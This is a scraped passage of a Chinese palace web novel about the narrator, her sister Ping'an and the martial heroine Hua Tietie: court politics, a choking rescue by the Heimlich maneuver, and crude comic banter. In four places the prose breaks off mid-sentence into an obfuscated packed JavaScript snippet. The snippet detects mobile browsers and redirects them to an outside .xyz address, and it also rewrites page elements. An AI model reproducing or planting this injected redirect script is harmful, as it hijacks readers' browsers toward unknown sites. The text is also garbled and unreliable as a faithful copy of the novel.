回宫路上,遇见刘景视察稷田的皇家车队,便得召陪同,皇家稷田庄稼的长势预示着天下粮食的收成。刘景看着长势喜人的庄稼,心情大好。 想像着丰收的场景,大家都很兴奋激动。花铁铁抚摸着地头最外面的小小的玉米棒子,给玉米穗子编了一个麻花辫儿,说是做一个记号,等成熟了,她好来吃。 我说她不要脸,这稷田里的粮食都是赏赐给有功之臣的,不是长了嘴就能吃的。 花铁铁觉得我很扫兴,但为了能吃上这口稷粮,就想起了她的大业,说她既然立志要恢复花家军建制,就得早日提上日程,打铁还需自身硬,花家将最出名的就是花家枪。花铁铁抱着刘景一只胳膊,满脸不舍地向刘景辞行,说要孤身远行,游历天下,寻找遗失的花家枪谱。 我抱着刘景另一只胳膊,皱了皱鼻子,仰头看着花铁铁,道:“痴人说梦,花家军没了上百年了,枪谱要是还在,断不可能销声匿迹。别说游历天下了,你就是上天入地,也寻不回啊。再说根本也没必要找啊,你姓什么你姓花,你姓花的随意拿着一杆破枪挥两下,只要能上阵杀敌,攻城略地,那不就是花家枪吗?” “对啊!还得是你啊!”花铁铁一拍巴掌,醍醐灌顶一般,双目闪着精光,一把将我拉过去抱在怀中,就亲个不停,“心眼子多,脑子就是转得快啊。” “滚滚滚。”我推开花铁铁,躲到刘景身后,黑着脸抗议,“以后不许你亲我!” “给糖!” “哪儿呢?” “先亲着,回头找平安给你报。” “刚才亲了十二下,可别忘了,别耍赖哈!”我跟花铁铁确定完,忽然觉悟地回过味儿来,在刘景身后嘟囔道:“嗯?不对啊。花铁铁刚才要游历天下,我应该怂恿她去的,她走了,我也好松快松快,哎呀,失算失算,我怎么还给她留下了呢?” 我转了转眼睛,探出头来,“哎花铁铁,我刚才胡说八道的,你们花家枪谱,说不定还存留世间,只是花家后人凋零,无人寻找而已,你还是赶紧动身游历去吧,只要你坚持不懈,肯定能给找回来!” 花铁铁显然已经没了刚才的冲动和兴致,“哎呀,怪麻烦的,能找回来也不找了,还是我自创吧,怎么说我也是玄止境,能开山立门的宗师,我创一套枪法,那还不是手拿把掐啊。”花铁铁洋溢着自信。 我缓缓地蛊惑道:“还是花家祖传的枪法正宗……” “哟哟哟,是不是变着法儿的赶我走呢?”花铁铁一副拆穿我鬼把戏的样子,厉声道:“别想吃糖了你!” “别想亲我了你,哼!”被人拆穿,当然会虚张声势,我又很嫌弃的把花铁铁亲过的地方,狠狠擦了擦。 花铁铁奚落道:“使劲儿,擦秃噜皮!” 我们互相“哼”了对方一下,一脸不服气地抱臂转过身去,谁也不理谁。 刘景哈哈大笑着,一手一个牵着我们大步前行! 于是接下来的日子,花铁铁每日或去上林苑校场创编枪法,或去马场练习骑术,忙碌起来。我在汤泉宫里勤勤恳恳兢兢业业地做我的药郎,平安则每日写点文章手札,做些女红针线活儿,再去给花铁铁送饭食浆水,顺便去找郑清。 我陆续将人魄入药给刘橡服用,每七日一次,每次服用人魄以后,刘橡都要昏睡两日,醒来后,呆愣上两日,然后慢慢好转,眼神日渐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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数曰九:方田、粟米、差分、少广、商功、均输、方程、赢不足、旁要。 御曰五:鸣和鸾、逐水曲、过君表、舞交衢、逐禽左。 六艺之中,礼乐射书数五艺,堂邑夫都是学宫的佼佼者。唯独御车,成了堂邑夫的短板弱项。 御车自古就是世家子弟必须掌握的技能,先秦时代盛行,老唐时期,这项技能渐渐没落,但是其地位不降反升。拥有高超的御艺,绝对是学宫中的顶级存在。 韩燕熙就因为此项技能卓越,而在每年的学宫大考中遥遥领先,拔得头筹,成为汉宫丰秋宴的冠首,赏赐稷粮。 今年韩燕熙从学宫毕业,冠首之位炙手可热,各项成绩都名列前茅的堂邑夫自然也想争一争。他有凌云之志,我自乐得其成。 大乱战后,残存的典籍上记载,先秦时期,秦人的先祖造父,向擅长御车的泰豆氏学御,只用了三天,就把泰豆氏三年的东西都学完了。 我自然不会要求堂邑夫如同造父一般,在御车上天赋异禀,但也意识到找一位老师指点是多么有必要。 于是想借着和花铁铁去韩府登门道歉的机会,带上平安一道请韩燕熙出面亲自指教一下堂邑夫。 我自不好强求,平安素来不愿主动和韩燕熙有牵扯,能躲就躲,能避就避,但平安觉得此事对堂邑夫有助益,欣然答应。 37. 知了 我喜欢夏天的明朗,喜欢夏天广袤无垠的上林苑,天空那么瓦蓝,白云一大朵一大朵的,青草野花夹带着泥土的香气,树叶在盛夏的知了叫声中哗啦哗啦响,一切都那么鲜活。 韩燕熙在远处尽心尽力教导堂邑夫御车,齐王和惠王在树荫下看书品茗,平安在荡秋千,我和七皇子用长杆子挑一块儿小面团儿,粘知了烤着吃…… 这知了,刘橡敢玩不敢吃,玩着玩着不小心放飞了好几个,我一边烤着知了,一边不乐意地撅着,满是知了黑色焦糊渣渣的嘴巴,叫他小心些。 平安呵呵乐道:“长安,你们抓了够好一百只,大橡放走几只也不耽误你吃。”说着,抬眼看向远处,匆忙下了秋千,“是太子的车驾。” 我们转头望去,果然……下来的却是陛下,他来找我们玩儿来了。上来就抢我的知了吃,一边吃一边说:“香,还是从前的味道。” 前一阵子,太后那边梁王和长公主闹起了内讧,两个儿女不省心,太后肝火旺,眼疾有些加重,诏苏和进宫诊治,苏和不卑不亢,要求太后安心调养一段时日。 长乐宫所辖政务便下放到丞相府,百官之首丞相,那老家伙可是个鬼机灵,要不然也不能在太后和皇帝争斗的夹缝中安稳度日了这么多年。 丞相从来游刃有余,两头不得罪,在皇帝面前听皇帝的,在太后面前听太后的,也两头不靠,在皇帝面前用太后压制,在太后面前用皇帝推诿。 如今太后暂时调养,丞相担心皇帝就此独揽大权,打破了多年维持的平衡之道,从此一家独大,他反受钳制,于是小动作不断。 听说大朝会上刘景趁着太后调养卸政,推行新策,丞相屡屡“犯上”,刘景发了好大的火,几欲昏厥,第二日便称病休养,下旨太子监国,将政务权权交给太子处理。 刘景这是给丞相表明,他自己身子病弱,无心权谋缠斗,所有政令无非是给儿子掌权铺路,也给丞相一个机会和提示,太子是明日之君,丞相需要考虑的很简单——一朝天子一朝臣,领下这从龙之功,下一朝他还是丞相。 但有些人复杂久了,就很难将问题简单化,非要横生枝节,丞相不肯坚定地选择一条路走到底,非要左右顾盼,另找一条所谓的后路保底儿。 太后喜闻乐见,借势推出梁王做代政亲王,长公主辅之做议政长公主。局势瞬息变化,刘景对丞相大失所望。 新三足鼎立,丞相为又能“独善其身”,成了其他两方争夺的受益者,而沾沾自喜,这场没有硝烟的较量,仿佛获得全胜的是丞相。 可在我看来,他其实是个傻子, 太后果断抽身,将自己的爱女爱子推上政治舞台,向前迈了一步。刘景金蝉脱壳,看似是无奈之举,有心无力,其实退到幕后,牢牢掌握全局,按兵不动,实则是历练太子。 太子顺利监国,实则也向前迈出了政治生涯的重要一步,要不是丞相多此一举,只等大婚以后,长公主完全倾向太子,太子的根基就稳如泰山了。 权臣,就是喜欢玩弄权力,可这回,丞相怕是玩阴的反被鹰啄了眼睛——原本的老三角关系,已经有两方成功脱身,开启天帝视角,作壁上观,而他依然身在局中。 太后皇帝,都争取拉拢不到他,被他掣肘太久。虽然双方敌对,但此次难保不是顺着局势将刀锋,不约而同的对准了丞相。毕竟都是权谋争斗的老手,局势变化的微妙间隙里,凭着灵敏的政治嗅觉,也会生出一种心有灵犀的默契。 梁王和长公主姐弟俩从小吵闹惯了,上了朝堂也是争执不断。长公主因为自家大女儿与太子的婚事,时有偏心,多番放水,给了兼国的太子喘息的机会。 丞相整日乐呵呵的,一边是两个无脑姐弟,比太后好对付多了,另一边太子虽有雷厉之风,但毕竟比刘景年轻稚嫩的多,他自觉很会拿捏。自信在愈发混杂的关系中,依旧雄风不倒,稳坐鱼台。 议政长公主刘婉,向来是个摇摆派,最喜观望,丞相那一套,她倒是无师自通。太后和梁王,明里暗里提点过她很多次,可她有自己的小算盘,她女儿高阳郡主陈娜娜,马上就要举行及笄之礼了,她与先皇后的临终之约,就要应现。 按理说,她坚定的支持太子,未来的天子,她的准女婿,就万事大吉了,偏她的爱女陈娜娜有其他想法,她应太过宠溺女儿,因此犹豫不决…… 近来,太子和亲姑姑议政长公主刘婉走得很近,和表妹高阳郡主陈娜娜时有见面。 有意思的是,太子去找陈娜娜总能恰好遇见梁王爱女元欣郡主,像个麻雀一样叽叽喳喳,搅得太子和陈娜娜好好说话的机会都没太有。 本来她们表姐妹相亲相爱总在一块儿也是正常,可自从秦王赴国之后,陈娜娜便吃不下睡不好,梁王在元欣郡主那里知晓以后,这才直接叫爱女住到长公主府上的,说两人生日相差不久,正好一起举行及笄礼,一起学习宫规礼仪云云。 元欣郡主与表姐陈娜娜同吃同住,说是陪伴,形同监视,梁王用意,路人皆知。 叔叔的正面施压,姑姑的左右摇摆,更有圆滑的丞相虚与委蛇,可太子依然能独当一面,在新的三角关系中,不让分毫,如他父亲一般坚韧果敢,挺拔伟岸,那指点江山,挥斥方遒的气概,甚至渐行渐强,有青蓝之势。 太子权谋大略的显现和处理政务的能力,老父亲刘景看在眼里,喜在心头,仿佛看到当年风华正茂,书生意气的自己而激动不已。 这位与众不同的帝王,从未对儿子有过半分猜疑忌惮,如寻常百姓家的主君一样,盼着悉心培养的儿子出息成材有作为,刘景深感江山后继有人,心中块垒消散,眉眼舒展,嘴角总是上扬着,竟连走路的步伐都很是轻快,哪里有半分需要休养的病态。 刘景吃着我和刘橡烤的知了,询问齐王和惠王看的什么书,并一同抒发见解,仿佛年轻的学宫学子探讨文章议题一般,高谈阔论,谈笑风生…… 一阵马蹄声由远而近,是花铁铁,嗯?她骑的是…… “长安,我瞧着铁铁骑得好像是你的小黑,小黑不是不给人骑的吗?”我正疑惑着,平安就茫然地问道。话音刚落,花铁铁就已来到眼前,她指挥小黑,给刘景行了铁骑军礼。 铁骑军礼是上位者视察军队时,军中将士,人不下马,人马合 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14624510|152330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一,共同给上位者行礼,战马前蹄跪地,俯首叩拜,而骑手挺直身体,立于马镫之上。花铁铁这漂亮威严的铁骑军礼,明显就是在跟我炫耀:你的马,我的了! “长安,小黑不是谁也驯不服吗?”平安惊得合不拢嘴,幽幽道。马场最好的驯马师,都不能驾驭小黑行军礼,可花铁铁却做到了。 看着她嚣张得意的样子,我心里难受炸了,这种给他人做嫁衣裳的羞辱感,落差感,失去感,简直让我嫉恨死了。我脸色黑得都没眼看啦。 花铁铁对我反应很满意,在马上一副大快人心的样子,小黑愈发顺从的像一只绵羊,“哈哈哈哈,想不到吧?听说这是你的马,全马场最桀骜不驯的马,脾气性子跟你一样,啧,听话着哩,啊哈哈哈哈……”花铁铁话锋一转,戏耍着我,然后仰头哈哈大笑。 我生气地一甩手,将一只烤的半生不熟的知了,扔进花铁铁张得拳头那么大的嘴巴里,正好卡进她的喉咙。笑声戛然而止,花铁铁顿时痛苦不已,扔了马鞭,一手掐着脖子,一手抠着嗓子,咳嗽不止,最后脸涨得通红,口唇青紫,颈子和额角的青筋鼓得老高,两眼一翻,栽下马去。 背上一轻,小黑躁动地来回踱步,确定驯服它的人倒地不起,转身没命似的撩蹄子就跑了。 平安惊呼着赶紧上前查看,只见花铁铁全然没了呼吸,吆喝着花铁铁给知了噎死了,快使用海姆立克急救法。 “什,什么立刻?” 众人疑惑,还未细想,看到平安接下来的动作,便都有些惊呆了,只见她不知哪来的力气,将花铁铁扶起抱在身前,两臂环绕花铁铁腰部,一手握拳,拇指内侧顶在肚脐上两指处,另一只手握住,双手压迫腹部,快速向上冲击,随着加力使劲儿,嘴里不断发出哼哼哈嘿的号子…… 嗯……这个动作这个声音……有点…… 我觉得实在不雅,正要上前阻止平安,亲自对花铁铁施救。可旁边的刘橡看着平安和花铁铁,仿佛被雷击一般,僵硬着身子,陷入沉思,嘴里小声嘟囔着什么,我侧耳欲听,他却忽然倒地晕死过去,我赶紧把脉,确定无碍,叫人将刘橡抬去帐中。 而那个半生不熟的知了,此时也“啪”的一下从花铁铁嘴里射出,死里逃生的花铁铁大喘了一口气,瘫坐在地上掉眼泪,满头大汗的平安抚背给她顺气,花铁铁红着眼睛气愤不已地看着我,“我特么老娘差点让你弄(neng)死了。”然后她往后一躺,无赖似的道:“你那马算赔礼赔给我了哈。”也不管我答不答应,花铁铁只自顾自转头问平安:“你刚才救我的那是什么法子啊?” “海姆立克急救法。”平安细细介绍着急救法的操作方法,除了成人的,还详尽的说了一下小孩儿救治方法。 一个站岗的皇家尉卫小声抽泣,问才知道,原来他年幼的弟弟前两年吃枣子给噎死了,说要是早知道这个海姆立克急救法就好了,他弟弟就能活着了。 刘景有感而发,想起以前在民间生活的时候,噎死之事时有发生,沉思一番,下令太医院署抽调人员跟着平安学习此项技能,并散布到各郡县的官医署,乡镇的惠民司署,迅速普及开来。 38. 拉屎 花铁铁死而后生,便央求着刘景惩罚我,我怯怯地躲在平安后面,眼巴巴地看着刘景,好担心受罚的样子。 刘景哈哈一笑,说她大难不死必有后福,平安救她,又将海姆立克急救法传将出去造福百姓,一切机缘皆因我扔的一只知了而起,我们三个都是大功德的一环。可以都赏赐,不可有偏罚。 花铁铁心里觉得刘景还是偏向我的,但也只能欢喜接受赏赐,只是她觉得她差点搭上一条命,所以赏赐要比我们多。 “行行行,你的多你的多,我的那份也给你。”我故作潇洒无所谓的样子。 花铁铁傲娇地哼了一声,说一言为定,不许反悔,就拉着平安去荡秋千。我要跟着去,她还偏不让——哼,居然搞孤立! 这大虎叉骚浪的很,秋千荡得真是荡极了,就知道啊啊啊,哈哈哈,花枝乱颤,哼,谁没荡过秋千啊,有那么爽吗? “啊哈哈,再高一点儿,再高一点儿。” 听花铁铁那么浪喊,我就来气,一阵腹诽:荡这么高干什么?你怎么不把秋千抡圆了转着圈儿的荡啊?你不怕摔了,可苦了我妹妹了…… 我正期盼着花铁铁赶紧掉下来摔死,好让我妹妹歇一歇。偏刘景心情好得不行,见平安累得香汗淋漓,就亲自过去帮忙推花铁铁,平安不好让天子一个人推,就和刘景一起推花铁铁,花铁铁笑得更大声,叫得更浪了…… 哼!我把头甩回来,不再去看他们,后槽牙咬得咯咯作响,小手握紧又撒开,撒开又握紧。 身边的惠王用胳膊推了推我,小声道:“天子面前,还是注意一下的好。” “我注意了!”我都没使坏,让花铁铁一个不小心飞出去摔死,还不够注意吗?我隐忍着回答,想着刚刚差点把花铁铁噎死,最终攥紧拳头。 “啊,还是再注意一点的好,你现下脸色比前几天挂着的锅底灰还黑。”齐王用书遮着嘴巴,附身过来,小声道:“别咬牙了,你那点小牙,再咬就该碎没啦。”其实是我咬牙的声音,配上我的脸色,有些阴森,他听着实在瘆得慌。 惠王赞同地点点头。 闻言我瘪了瘪嘴,转身一溜小跑,跑进七皇子刘橡的帐子,身后传来齐王和惠王宠溺的笑声。 花铁铁忽然说她要针灸,众人不解,平安问她身体壮的和牛一样,针什么灸?她略带羞涩说就是那种一串一串的,上面有羊肉、鹿肉什么的那种。 好家伙,这个馋姑娘是想吃烤肉了。于是刘景哈哈一笑,午膳安排起来。 花铁铁最近体力消耗很大,食量大增,一个人顶我们一群人,看得一众贵人们心生佩服,感觉很下饭,大家都吃了不少。 午膳后,刘景他们在帐子里小憩,花铁铁和我在山岗上的树荫下,看着远处马场。 平安去给郑清送吃食,吃完饭,两人并肩坐在马场的围栏上,平安靠在郑清身上,头枕在他结实的肩膀上,一副幸福甜蜜的模样…… 自然少不得韩燕熙过去煞风景,平安不奈其烦,被韩燕熙追着满草场跑,郑清自然是护着平安的,平安不想郑清在韩燕熙手底下吃亏,跟韩燕熙指了指我们这边,说了什么,韩燕熙果然有所收敛…… 而勤奋刻苦的堂邑夫是舍不得休息玩闹的,借着请教的名头,把韩燕熙请了回去,韩燕熙这才恋恋不舍的离开。 小黑在马场里逍遥快活,花铁铁问我,“从西域走私马匹回来,都已经冒这么大风险,怎么不弄匹母马?” 军中战马一般是母马,或者阉割过后的公马,像小黑这种健全的公马,不仅很难驯服,而且拥有强烈的性~欲,是不能进入军队做战马的,不然小黑会因为疯狂播撒爱情的种子而虚耗累死。 还会严重影响军队战马的作战部署,你想小黑进了母马群,那不跟狼进了羊窝一样吗?但凡见得到的母马,小黑它能放过啊,到时候母马,都赶在同一时间段去怀孕下崽了,一旦发生战事,将士们骑什么上战场啊。 所以军队战马的繁育是有严格规划的,我舍不得小黑被阉割,于是小黑享受着在上林苑三十六所养马场,做种马的完美人生,谁知道竟硬生生给花铁铁驯成战马了,一匹拥有完整部件儿的雄性战马! 我脑中总有一个画面,就是花铁铁骑着小黑去和羯奴人干架,花铁铁和羯奴人打得热火朝天,小黑和羯奴人的母马配得难解难分。 我一边用狗尾巴草剔牙,一边回复道:“你以为我们不想吗?实在是羯奴人把守的太严格。” 打算延续一个物种,当然是选取雌性,就比如,如果世界上只剩下一个男性,十个女性,人类是不会灭绝的,但如果是十个男性一个女性,那么世间将再无人类。 如果我们走私西域特产上等母战马,哪怕一匹,回来和品质良好的公马配种,繁育下更多母马,继续配种,十几年二十几年下去,我们的战马品质将大幅提升,军队作战能力则成倍数增加。 于是,我和堂邑夫最开始是要弄两匹母马回来的,起码一公一母,但羯奴人死死卡住河西咽喉,西域的马匹,尤其母马,全都被他们收入囊中。我们最后只带回来了小黑,其中艰辛不提也罢。 我愤恨道:“羯奴人毫无道义,每当他们缺少战马需要补给,不是去抢,就是各种由头,让西域诸国挑选上等的战马进贡,不然就大军压境,烧杀抢掠,无恶不作,西域诸国苦不堪言,只能满足各种无理要求。然而屈从顺服,无异于饮鸩止渴,养虎为患,最后恶性循环,纵使西域物产丰富,诸国百姓却依旧水深火热,身在炼狱一般。” 花铁铁闻言大叫一声,嚯地一下站起身来,道:“待我前去杀他个片甲不留,灭了羯奴,收复河西,再通商道,解救那西域百姓于水火之中。” “祝花大将军,马到成功。”我拱手祝愿。 说完我们对视畅快地哈哈大笑,接着是一阵无声的沉默…… 花铁铁把我揽在怀里,我们就那样安静地看远方,蓝天,白云,草地……听着风拂过青草,树叶的声音……享受这份安逸…… 花铁铁从怀里掏出一个小袋子,里面是她做好的麦芽酥脆糖,我道:“不是都放在平安那里保管了吗?” “给你私藏了几块。张嘴,啊……快吃。”花铁铁说着拿了一块儿,放进我嘴巴里。 我开心极了,更加依偎在她怀里。 我刚吃完糖,平安就回来了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14636908|152330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我赶紧去帐子里洗脸漱口,还叫惠王帮我检查了一下牙口,生怕有残渣叫平安发现了。 回来,却见平安坐在我刚才的位置,靠着花铁铁,从她的斜肩包里拿出毛线钩针,勾针织挂件儿。 她给我的第一只针织青蛙丢了以后,又给我重新做了一个,我每日带在身上,一会儿挂在胸前,一会儿挂在肩头,一会儿别在头上,齐王惠王秦王七皇子甚至韩燕熙花铁铁柳花郎见了都喜欢,纷纷向平安讨要,于是她闲着没事就要赶工。 我倒把针织青蛙给收起来了,我可不想再给我妹妹招揽额外的活儿干了。虽然她满脸欢喜的样子,但我觉得还是很辛苦的。更重要的是,有些东西,我只想“吃独食儿”。 花铁铁百无聊赖地抻了个懒腰,道:“走,拉屎去啊?!” 面对花铁铁盛情邀请,我和平安表示拒绝。平安低着头,手上的动作一停,语气娇嗔略带埋怨:“铁铁,你一个大姑娘的……” “怎么啦,大姑娘不拉屎吗?”花铁铁大咧咧的茫然问道。 平安一阵脸红,窘迫道:“哎呀,不是,我的意思是,你能不能注意措辞,就是……” “再怎么措辞,拉的不还是屎吗?”花铁铁更加疑惑茫然。 “你能不能不要屎啊屎的?那是出恭,出恭!你好不好不要那么粗鲁!?做个文明人吧!”我没好气的说。 “做个屁!”花铁铁也没好气的回我。 “屁是虚恭!这是基本礼节用语,行啦行啦,你赶紧去拉吧,一会儿拉裤子了该!”我懒得多言,催促地撵花铁铁走。 花铁铁却来劲了,双手掐腰,一脸壮志满怀的样子,道:“今儿老娘我就非要拉屎,就不出恭!文明啊,礼节啊,措辞啊,我不是不懂,我是瞧不上,我崇尚自由,我反对礼教,我要打破束缚,冲击压迫,我要独立,我要反抗,我要完全的自我,从此想干什么就干什么,想说什么就说什么,我花铁铁一定要拆除世俗樊篱,粉粹一切桎梏,我就不信了,今儿这屎我……” “住口,哪来的乡野疯妇,未经开化,如此落后!竟把文明进步视做牢笼枷锁,你……”我的天爷啊,你个大虎叉要不要这么义愤填膺啊,不过就是叫你把“拉屎”改成“出恭”,怎么就叫你受了那么大委屈似的,需要你如此激荡。“……唉,算了算了,和你讲不通,说不明白,你还是赶紧拉屎去吧。想怎么拉怎么拉,人往地上拉,你往天射都没人管,赶紧去吧。” 一波未平一波又起,平安却一脸崇拜的样子:“铁铁你言辞好犀利,思想好先进,你是潮流新女性,我好崇拜你!”平安放下手里的针线,双手捧着美丽的脸庞,崇敬地仰视着花铁铁。 我有一种葫芦还没按下,瓢就起来的忙乱感,“胡说八道什么?一百斤的花铁铁,九十九斤的反骨,你还好犀利,好先进,好崇拜,什么潮流新女性,平安你也要疯?!” “我九十九斤!”花铁铁负手而立,仰着高傲的下巴,庄重地纠正道。 “那你全是反骨!”我脸色阴沉。 “铁铁,你好伟大!”平安星星眼。 “屎还拉吗?”最后,我屈服了,“……咱仨一起吧!” 39. 枷锁 我在树上放风,平安在小树林外问蹲在树林里的花铁铁:“铁铁,为什么你出恭的时候需要我陪,需要长安给你放哨啊。” 花铁铁一边用力嗯嗯着,一边说,出恭是她最脆弱的时候,因为一旦发生突发情况,比如被人撞见,她想她大脑会出现短暂空白,会反应不过来,不知道是直接提上裤子作战,还是先把腚擦完再说。 平安想了想,感同身受地觉得是挺难选的,果然那种关键时刻是女人最脆弱的时候。然后问我:“长安你出恭的时候也很脆弱吗?怎么从来不叫着我一起啊。” “我从来不在外面随地大小解啊。” “哦,是哦。”平安恍然,发现确实如我所言,下一刻忽然想起什么事情,脸红得不行,问她怎么了,她只含混过去,后来我才知道,她和韩燕熙第一次见面就是她憋不住,在土坡下小解的时候。她多么想,当时有人陪着,有人放哨啊。 我在树上好奇地朗声问:“花铁铁,你是怎么发现自己出恭的时候最脆弱的?” 花铁铁闻言,虎躯一震,“我先表明啊,这事儿我没遇上,是我师妹。”她一边擦屁股一边缓缓解释,“是我小师妹在我师门后山林子练武,忍不住出恭,被我五师弟撞个正着,结果两人慌得不行,弄得十分狼狈,我小师妹回来以后,越想越气,最后就跟我五师弟好了。” “什么!?被看见了,越想越气,就好了?”平安大惊失色。 花铁铁提着裤子系着腰带,道:“嗯,可不是吗?” 平安还是震惊不已,“怎么能就好了呢?” 我从树上下来,稀松平常道:“那不然呢?一般这种情况,屁股都给人家看了,要么把对方杀了,要么就嫁了呗。” “对啊。”花铁铁很认同地点点头,道:“所以我就设身处地的想了一下,觉得我无懈可击,唯一的弱点可能就出恭的时候了。” 平安回过神来,说花铁铁谦虚了,她武功这么高,一般人根本近不了身,一百步开外,她就提前察觉,收拾妥当了。就算真给看到了,花铁铁也完全有本事处理掉,“不像……”平安迟疑着不再说下去。 花铁铁不由得追问:“不像什么?”我也看向平安。 平安红着脸道:“没什么,反正你武功那么高,你担心的那个弱点都多余。” 花铁铁挠着后脑勺,打哈哈说人外有人,天外有天,万一是个从天而降的高手怎么办,到时候屎肯定是不能继续拉了,最难的是不知道到底要先擦屁股还是先提裤子,还真就挺慌张的。 要是能把对方打死,也就罢了,要是打不过,这种初遇,以后成了两口子,回忆起来也不太美好,而且这种情况,对方就算是个高手,也该不是什么正人君子吧,谁家好人不避着点,反倒闻着味儿就来了啊,“对吧!?” 平安说就当吃个哑巴亏,不做两口子也行,不是非得杀人,杀不过救嫁。可花铁铁说那样会越想越气。平安还是坚持立场,说屁股给看就看了吧,无非也就那一次,总不能因为被看了一次,就委身给人看一辈子。 “所以,还是不要随地乱出恭的好。”我得出结论。 但花铁铁硬要抬杠,说活人肯定不能被屎憋死。我说,屎是憋不死人的,尿憋不住了还可以理解,但憋屎能行千里。 花铁铁紧接着怼我:窜稀寸步难行…… 她嘴是真快啊,话从来不叫落地上。 平安觉得我们这个话题太不文雅太无聊,就赶紧出言打断,可看神情,她应该还在花铁铁小师妹和五师弟的情缘中难以自拔,满脸惊色余悸。 我和花铁铁就一唱一和安抚平安说,这种事在乡野山村很常见的,人有三急,偏偏做女人的就很无奈很不方便,没蹲下前明明没有人,明明左顾右盼小心查看,还躲进小树林玉米地,偏偏一脱裤子,就准能被人看个正着,也不知道人是从哪来的,就跟天上掉下来的一样,更别说下河洗澡给人里里外外上上下下看个明明白白的了,唉,多了去了。平安就是自幼长在王府,在大城市待着,少见多怪了。 平安听到最后面若死灰一般,感叹女人是天生的弱者,做女人真无奈。 我点点头,“做女人就是很无奈啊,花铁铁这么高的武艺,拉屎还不是怕被看,还不是得有人陪着,有人放风?” 我的话,仿佛给花铁铁什么启示,可是她感觉自己没办法总结说明出来,就急切地支吾了半天,想让我给她总结一下。我听着她说得稀巴烂碎的语言,完全抓不住有用的信息,提炼不出任何像样的主见,只觉心中烦躁,叫她不要疯言疯语,那些惊世骇俗无的放矢的观点,还是自己留着吧。 “无的放矢是什么意思?”花铁铁虚心求教。 “就是没地拉屎的意思。”我黑着脸回答。 花铁铁看了看捂嘴轻笑的平安,瞪了一眼胡说八道糊弄她的我,指天发誓:“总之,我花铁铁一定要克服自己的弱点,一定要做一个无懈可击的人,一个可以随时随地像男人一样毫无顾虑,毫无忌惮的拉屎的人。” 我说果然志向远大,又道:“其实很简单,不要脸就行,没必要发誓,不要腚也可以……” 于是上林苑的草场上,又响起我们三个追追赶赶,吵吵闹闹的欢笑声…… 我认为花铁铁有必要多读点书,多学点规矩,多懂点礼数,别总跟个不开化的乡野村妇一样,说她是个乡野村妇,都对不住那些本份淳朴温婉良善的乡野村妇,毕竟乡野村妇根本没有花铁铁这么狂放疯癫低级落后。 平安也得跟着学习,不能总是人云亦云,花铁铁那种言行,算什么思想好进步,潮流新女性,一点儿明辨事理的能力和眼光都没有,不学习怎么行!? 都给我去读书,都给我去学习。这才是进步!这才是……嗯,“潮流”是个什么东西?算了不问了,不然,显得我读书很少。 哎,近朱者赤近墨者黑,跟什么人学什么事儿,我感觉最近我自己的水平,也被花铁铁拉低了。读书,迫在眉睫! 于是……我凭借三寸不烂之舌,巧舌如簧,舌灿莲花,果然……劝学的话才说了不到一半,便被两人无情的驳回。 唉,果然这个世界上最难的事,就是劝学,比牛不喝水强按头还难,强扭的瓜不甜还能蘸酱吃,唯独,这个读书,不想学是真难学,一点也学不进去,非等到老了,后悔了,要用了,不会了,才悔恨万千 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14636909|152330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …… 花铁铁又去校场练习骑射,英姿飒爽的样子,光彩夺目。刘景对她简直满眼欣赏,满口赞叹。平安陪着我在一边,支起小灶,给刘景烹制“金枪茶”。 刘景最近这方面的需求还挺大的,贤贵妃表面每晚都来侍疾,其实就是侍寝。 刘景感觉力不从心,就暗中吩咐我帮他特别调理,我便用黑桑葚、红枸杞、黑枸杞、红枣等加山泉水,慢火熬制,开锅盛给他喝。由于对外只说是果子茶,于是包括平安在内,大家都跟着一起品鉴。 除了“金枪茶”,我还配制了很多茶,比如“龙壮茶”,“硬枪茶”,“不倒茶”,“强力茶”等等,变着花样,轮番上阵,保证刘景喝不腻喝不厌,不过刘景最喜欢的还是“霸王茶”! 我这小药郎做的尽心尽力,甚得君心。 晚上,累了一天的花铁铁在汤泉池子里泡澡,舒缓放松,都给自己泡浮囊了,也不出来,拿着小铜镜对着灯光左照右照,搓着脸,叹了口气道:“这锅底灰渍上去了,好几天了怎么也不见掉啊?烦死了……” 在一边和平安一起制作合香珠的我,闻言不乐意地“哼”了一声,一脸怨谁啊,还不都怨你的样子。 